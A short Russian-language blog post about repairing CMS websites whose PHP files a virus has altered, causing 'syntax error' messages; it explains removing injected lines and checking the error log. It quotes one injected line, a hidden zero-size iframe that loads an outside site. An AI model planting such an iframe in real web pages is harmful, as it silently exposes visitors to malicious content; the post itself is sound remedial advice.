Ошибка syntax error — повреждение кода сайта вирусом
Помог победить знакомым проблему с их сайтом. В Интернете нашел мало информации и решил поделится. Надеюсь, кому-нибудь будет полезным.
Если вы не можете зайти на свой сайт и у вас появляется ошибка syntax error. Обычно бывает надпись вроде этой:
Parse error: syntax error, unexpected ‘<‘ in /home/__/имя файла.php on line __
Иногда, такая строчка не появляется и мы видим пустой браузер. Обычно такая ошибка означает, что в него попал вирус и изменил код сайт, добавив туда свою информацию. Чаще всего это ссылка на сайт. Такая проблема может возникнуть на любом сайте с CMS – joomla, drupal и другие. Минус joomla в том, что она в этом плане самая “дырявая”.
Если у вас появилась ошибка как в примере выше, то повезло. Можно на хостинге найти этот файл, удалить строчку и все заработает. При сохранении файла php лучше всего использовать замену стандартному блокноту windows Notepad++ . Обычным блокнотом лучше вообще ничего не делать на сайте.
Эти вредоносные строчки выглядят так:
<iframe width=»0″ height=»0″ frameborder=»0″ scrolling=»no» src=»http://gubmos.com/index12″></iframe>
Ссылки могут быть разными, но характер тот же. Необходимо их удалить и сохранить файл. Только в этом случае сайт заработает.
Если такой строчки в браузере нету, то решение сложнее. Видимо, это из-за заражения нескольких файлов на сайте. Если у вас сайт находится на более или менее грамотном хостинге, то можно найти ошибки кода в журнале ошибок (error_log). В нем можно легко найти все строчки кода с ошибками. На примере masterhosta выглядит так:
Очень удобно.